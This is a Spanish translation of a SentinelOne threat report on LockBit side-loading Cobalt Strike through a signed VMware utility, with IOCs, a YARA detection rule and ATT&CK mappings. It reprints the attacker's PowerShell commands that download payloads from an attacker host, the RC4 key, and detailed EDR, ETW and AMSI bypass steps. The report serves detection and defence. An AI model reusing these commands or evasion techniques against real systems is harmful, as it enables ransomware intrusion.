Resumen ejecutivo
- La utilidad de línea de comandos de VMware VMwareXferlogs.exe utilizada para la transferencia de datos hacia y desde los registros de VMX es susceptible de carga lateral de DLL.
- Durante una investigación reciente, nuestro equipo de DFIR descubrió que LockBit Ransomware-as-a-Service (Raas) carga lateralmente Cobalt Strike Beacon a través de una utilidad de línea de comandos firmada de VMware xfer logs.
- El actor de la amenaza utiliza PowerShell para descargar la utilidad VMware xfer logs junto con una DLL maliciosa, y un archivo .log que contiene un Cobalt Strike Reflective Loader cifrado.
- La DLL maliciosa evade las defensas eliminando los ganchos de tierra de usuario de EDR/EPP, y elude tanto el Rastreo de Eventos para Windows (ETW) como la Interfaz de Análisis Antimalware (AMSI).
- Hay sugerencias de que la funcionalidad de carga lateral fue implementada por un afiliado en lugar de los propios desarrolladores de Lockbit (a través de vx-underground), probablemente DEV-0401.
Visión de conjunto
LockBit es una operación de ransomware como servicio (RaaS) que ha estado activa desde 2019 (anteriormente conocida como “ABCD”). Suele aprovechar la técnica de la doble extorsión, empleando herramientas como StealBit, WinSCP y soluciones de copia de seguridad en la nube para la exfiltración de datos antes de desplegar el ransomware. Como la mayoría de los grupos de ransomware, la herramienta de post-explotación elegida por LockBit es Cobalt Strike.
Durante una investigación reciente, nuestro equipo de DFIR descubrió una interesante técnica utilizada por LockBit Ransomware Group, o tal vez por un afiliado, para cargar un Beacon Reflective Loader de Cobalt Strike. En este caso particular, LockBit logró cargar lateralmente Cobalt Strike Beacon a través de una utilidad de línea de comandos firmada de VMware xfer logs.
Desde nuestra publicación inicial de este informe, hemos identificado una conexión con una pista de Microsoft afiliada como DEV-0401. El cambio a LockBit representa un cambio notable en las TTPs observadas anteriormente por DEV-0401.
La carga lateral es una técnica de secuestro de DLL utilizada para engañar a un proceso benigno para que cargue y ejecute una DLL maliciosa colocando la DLL junto al EXE correspondiente del proceso, aprovechando el orden de búsqueda de la DLL. En este caso, el actor de la amenaza utilizó PowerShell para descargar la utilidad VMware xfer logs junto con una DLL maliciosa, y un archivo .log que contenía un Cobalt Strike Reflective Loader cifrado. La utilidad de VMware se ejecutó entonces a través de cmd.exe, pasando el flujo de control a la DLL maliciosa.
La DLL procedía entonces a evadir las defensas eliminando los hooks de EDR/EPP en el terreno del usuario, así como eludiendo tanto Event Tracing for Windows (ETW) como Antimalware Scan Interface (AMSI). A continuación, el archivo .log se cargó en la memoria y se descifró mediante RC4, revelando un cargador reflexivo Cobalt Strike Beacon. Por último, se pone en cola una llamada de procedimiento asíncrono (APC) en modo usuario, que se utiliza para pasar el flujo de control a la baliza descifrada.
Cadena de ataque
La cadena de ataque comenzó con varios comandos PowerShell ejecutados por el actor de la amenaza para descargar tres componentes, una DLL maliciosa, un ejecutable VMwareXferlogs firmado y una carga útil Cobalt Strike cifrada en forma de archivo .log.
Nombre del archivo | Descripción |
glib-2.0.dll | DLL armado cargado por VMwareXferlogs.exe |
VMwareXferlogs.exe | Utilidad de línea de comandos de VMware legítima/firmada |
c0000015.log | Carga útil de Cobalt Strike encriptada |
Nuestro equipo de DFIR recuperó los cmdlets completos de PowerShell utilizados para descargar los componentes de los artefactos forenses.
Invoke-WebRequest -uri hxxp://45.32.108[.]54:443/glib-2.0.dll -OutFile c:\windows\debug\glib-2.0.dll;
Invoke-WebRequest -uri hxxp://45.32.108[.]54:443/c0000015.log -OutFile c:\windows\debug\c0000015.log;
Invoke-WebRequest -uri hxxp://45.32.108[.]54:443/VMwareXferlogs.exe -OutFile c:\windows\debug\VMwareXferlogs.exe;c:\windows\debug\VMwareXferlogs.exe
El binario descargado (VMwareXferlogs.exe) se ejecutó entonces a través de la línea de comandos, con el STDOUT redirigido a un archivo.
c:\windows\debug\VMwareXferlogs.exe 1>
\\127.0.0.1\ADMIN$\__1649832485.0836577 2>&1
VMwareXferlogs.exe es un ejecutable legítimo y firmado que pertenece a VMware.
Esta utilidad se utiliza para transferir datos hacia y desde los registros de VMX.
Esta utilidad de línea de comandos hace varias llamadas a una biblioteca de terceros llamada glib-2.0.dll. Tanto la utilidad como una versión legítima de glib-2.0.dll se incluyen en las instalaciones de VMware.
El glib-2.0.dll descargado por el actor de la amenaza exporta todas las funciones necesarias importadas por VMwareXferlog.exe.
Las llamadas a las funciones exportadas de glib-2.0.dll se realizan dentro de la función principal de la utilidad VMware, siendo la primera g_path_get_basename().
Observe que las direcciones virtuales para las funciones exportadas son todas las mismas para el glib-2.0.dll armado (0x1800020d0), excepto para g_path_get_basename, que tiene una dirección virtual de 0x180002420. Esto se debe al hecho de que todas las exportaciones, excepto la función g_path_get_basename no hacen otra cosa que llamar a ExitProcess().
Por otro lado, g_path_get_basename() invoca el payload malicioso antes de salir.
Cuando VMwareXferlog.exe llama a esta función, el flujo de control se transfiere a la glib-2.0.dll maliciosa, en lugar de la legítima, completando el ataque de carga lateral.
Una vez que el flujo de control se pasa a la DLL armada, se comprueba la presencia de un depurador consultando la bandera BeingDebugged y NtGlobalFlag en el bloque de entorno del proceso (PEB). Si se detecta un depurador, el malware entra en un bucle sin fin.
Evitar los ganchos EDR/EPP Userland
En esta coyuntura, el malware entra en una rutina para eludir cualquier gancho de tierra de usuario mapeándose a sí mismo manualmente en la memoria, realizando una inspección byte a byte para cualquier discrepancia entre la copia de sí mismo y de sí mismo, y luego sobrescribiendo cualquier sección que tenga discrepancias.
Esta rutina se repite para todos los módulos cargados, permitiendo así que el malware identifique cualquier gancho de tierra de usuario potencial instalado por EDR/EPP, y los sobrescriba con el código no parcheado/desenganchado directamente desde las imágenes de los módulos en el disco.
Por ejemplo, los hooks de la capa NT de EDR en la zona de usuario pueden ser eliminados con esta técnica. La subrutina de abajo muestra un trampolín donde típicamente residiría un stub de SYSCALL, pero en su lugar salta a una DLL inyectada por EDR. Esta subrutina será sobrescrita/restaurada para eliminar el hook.
A continuación se muestra el código parcheado para restaurar el stub original de SYSCALL y eliminar el hook EDR.
Una vez eliminados estos ganchos, el malware continúa evadiendo las defensas. A continuación, se intenta eludir el Rastreo de Eventos para Windows (ETW) mediante el parcheado de la WinAPI EtwEventWrite con una instrucción RET (0xC3), impidiendo que se genere cualquier telemetría útil relacionada con ETW en relación con este proceso.
AMSI se evita de la misma manera que ETW mediante el parcheado de AmsiScanBuffer. Esto evita que AMSI inspeccione los búferes potencialmente sospechosos dentro de este proceso.
Una vez que estas defensas han sido evitadas, el malware procede a ejecutar la carga útil final. El payload final es un Cobalt Strike Beacon Reflective Loader que se almacena cifrado en RC4 en el archivo c0000015.log mencionado anteriormente. El algoritmo de programación de la clave RC4 se puede ver a continuación con la clave de 136 bytes codificada.
&.5 \C3%YHO2SM-&B3!XSY6SV)6(&7;(3.'
$F2WAED>>;K]8\*D#?G9I+V@(R,+]A-G\D
HERIP:45:X(WN8[?3Y>XCWNPOL89>[.# Q'
4CP8M-%4N[7.$R->-1)$!NU"W$!YT<J$V[
Entonces comienza el descifrado RC4 de la carga útil.
El resultado final es el Reflective Loader de Beacon, que se ve a continuación con los conocidos bytes mágicos y las cadenas codificadas.
Una vez descifrado, la región de memoria en la que reside el payload se hace ejecutable (PAGE_EXECUTE_READWRITE), y se crea un nuevo hilo para que este payload se ejecute dentro.
Este hilo se crea en un estado suspendido, permitiendo al malware añadir un APC en modo usuario, apuntando al payload, a la cola de APC del hilo recién creado. Finalmente, el hilo se reanuda, permitiendo que el hilo se ejecute la carga útil de Cobalt Strike a través del APC.
La DLL es detectada por el agente SentinelOne antes de ser cargada y ejecutada.
Variantes de carga lateral de VMware
Nuestra investigación descubrió un puñado de muestras relacionadas con la DLL maliciosa. Las únicas diferencias notables son la clave RC4 y el nombre del archivo que contiene la carga útil cifrada con RC4 para descifrar.
Por ejemplo, varias de las muestras intentan cargar el archivo vmtools.ini en lugar de c0000015.log.
Otra variante comparte el mismo nombre de archivo para cargar vmtools.ini, pero lleva una versión personalizada de UPX.
Conclusion
La utilidad de línea de comandos de VMware, VMwareXferlogs.exe, utilizada para la transferencia de datos hacia y desde los registros de VMX, es susceptible de carga lateral de DLL. En nuestra intervención, vimos que el actor de la amenaza había creado una versión maliciosa de la legítima glib-2.0.dll para que sólo tuviera código dentro de la función g_path_get_basename(), mientras que todas las demás exportaciones simplemente llamaban a ExitProcess(). Esta función invoca una carga útil maliciosa que, entre otras cosas, intenta eludir los ganchos de tierra de usuario EDR/EPP y se involucra en la lógica anti depuración.
LockBit sigue siendo un RaaS exitoso y los desarrolladores están claramente innovando en respuesta a las soluciones EDR/EPP. Esperamos que al describir esta última técnica, los defensores y los equipos de seguridad puedan mejorar su capacidad para proteger a sus organizaciones.
Indicadores de compromiso
SHA1 | Description |
729eb505c36c08860c4408db7be85d707bdcbf1b | Malicious glib-2.0.dll from investigation |
091b490500b5f827cc8cde41c9a7f68174d11302 | Decrypted Cobalt Strike payload |
e35a702db47cb11337f523933acd3bce2f60346d | Encrypted Cobalt Strike payload – c0000015.log |
25fbfa37d5a01a97c4ad3f0ee0396f953ca51223 | glib-2.0.dll vmtools.ini variant |
0c842d6e627152637f33ba86861d74f358a85e1f | glib-2.0.dll vmtools.ini variant |
1458421f0a4fe3acc72a1246b80336dc4138dd4b | glib-2.0.dll UPX-packed vmtools.ini variant |
File Path | Description |
c:\windows\debug\VMwareXferlogs.exe | Full path to legitimate VMware command line utility |
c:\windows\debug\glib-2.0.dll | Malicious DLL used for hijack |
c:\windows\debug\c0000015.log | Encrypted Cobalt Strike reflective loader |
C2 | Description |
149.28.137[.]7 | Cobalt Strike C2 |
45.32.108[.]54 | Attacker C2 |
Normas de ataque YARA
import "pe"
rule Weaponized_glib2_0_dll
{
meta:
description = "Identify potentially malicious versions of glib-2.0.dll"
author = "James Haughom @ SentinelOne"
date = "2022-04-22"
reference = "https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility/"
/*
The VMware command line utilty 'VMwareXferlogs.exe' used for data
transfer to/from VMX logs is susceptible to DLL sideloading. The
malicious versions of this DLL typically only have code within
the function 'g_path_get_basename()' properly defined, while the
rest will of the exports simply call 'ExitProcess()'. Notice how
in the exports below, the virtual address for all exported functions
are the same except for 'g_path_get_basename()'. We can combine this
along with an anomalously low number of exports for this DLL, as
legit instances of this DLL tend to have over 1k exports.
[Exports]
nth paddr vaddr bind type size lib name
―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
1 0x000014d0 0x1800020d0 GLOBAL FUNC 0 glib-2.0.dll g_error_free
2 0x000014d0 0x1800020d0 GLOBAL FUNC 0 glib-2.0.dll g_free
3 0x000014d0 0x1800020d0 GLOBAL FUNC 0 glib-2.0.dll g_option_context_add_main_entries
4 0x000014d0 0x1800020d0 GLOBAL FUNC 0 glib-2.0.dll g_option_context_free
5 0x000014d0 0x1800020d0 GLOBAL FUNC 0 glib-2.0.dll g_option_context_get_help
6 0x000014d0 0x1800020d0 GLOBAL FUNC 0 glib-2.0.dll g_option_context_new
7 0x000014d0 0x1800020d0 GLOBAL FUNC 0 glib-2.0.dll g_option_context_parse
8 0x00001820 0x180002420 GLOBAL FUNC 0 glib-2.0.dll g_path_get_basename
9 0x000014d0 0x1800020d0 GLOBAL FUNC 0 glib-2.0.dll g_print
10 0x000014d0 0x1800020d0 GLOBAL FUNC 0 glib-2.0.dll g_printerr
11 0x000014d0 0x1800020d0 GLOBAL FUNC 0 glib-2.0.dll g_set_prgname
This rule will detect malicious versions of this DLL by identifying
if the virtual address is the same for all of the exported functions
used by 'VMwareXferlogs.exe' except for 'g_path_get_basename()'.
*/
condition:
/* sample is an unsigned DLL */
pe.characteristics & pe.DLL and pe.number_of_signatures == 0 and
/* ensure that we have all of the exported functions of glib-2.0.dll imported by VMwareXferlogs.exe */
pe.exports("g_path_get_basename") and
pe.exports("g_error_free") and
pe.exports("g_free") and
pe.exports("g_option_context_add_main_entries") and
pe.exports("g_option_context_get_help") and
pe.exports("g_option_context_new") and
pe.exports("g_print") and
pe.exports("g_printerr") and
pe.exports("g_set_prgname") and
pe.exports("g_option_context_free") and
pe.exports("g_option_context_parse") and
/* all exported functions have the same offset besides g_path_get_basename */
pe.export_details[pe.exports_index("g_free")].offset == pe.export_details[pe.exports_index("g_error_free")].offset and
pe.export_details[pe.exports_index("g_free")].offset == pe.export_details[pe.exports_index("g_option_context_get_help")].offset and
pe.export_details[pe.exports_index("g_free")].offset == pe.export_details[pe.exports_index("g_option_context_new")].offset and
pe.export_details[pe.exports_index("g_free")].offset == pe.export_details[pe.exports_index("g_option_context_add_main_entries")].offset and
pe.export_details[pe.exports_index("g_free")].offset == pe.export_details[pe.exports_index("g_print")].offset and
pe.export_details[pe.exports_index("g_free")].offset == pe.export_details[pe.exports_index("g_printerr")].offset and
pe.export_details[pe.exports_index("g_free")].offset == pe.export_details[pe.exports_index("g_set_prgname")].offset and
pe.export_details[pe.exports_index("g_free")].offset == pe.export_details[pe.exports_index("g_option_context_free")].offset and
pe.export_details[pe.exports_index("g_free")].offset == pe.export_details[pe.exports_index("g_option_context_parse")].offset and
pe.export_details[pe.exports_index("g_free")].offset != pe.export_details[pe.exports_index("g_path_get_basename")].offset and
/* benign glib-2.0.dll instances tend to have ~1k exports while malicious ones have the bare minimum */
pe.number_of_exports < 15
}
MITRE ATT&CK TTPs
TTP | MITRE ID |
Encrypted Cobalt Strike payload | T1027 |
DLL Hijacking | T1574 |
ETW Bypass | T1562.002 |
AMSI Bypass | T1562.002 |
Unhooking EDR | T1562.001 |
Encrypted payload | T1027.002 |
Powershell usage | T1059.001 |
Cobalt Strike | S0154 |
Tomado y traducido de – Fuente: www.sentinelone.com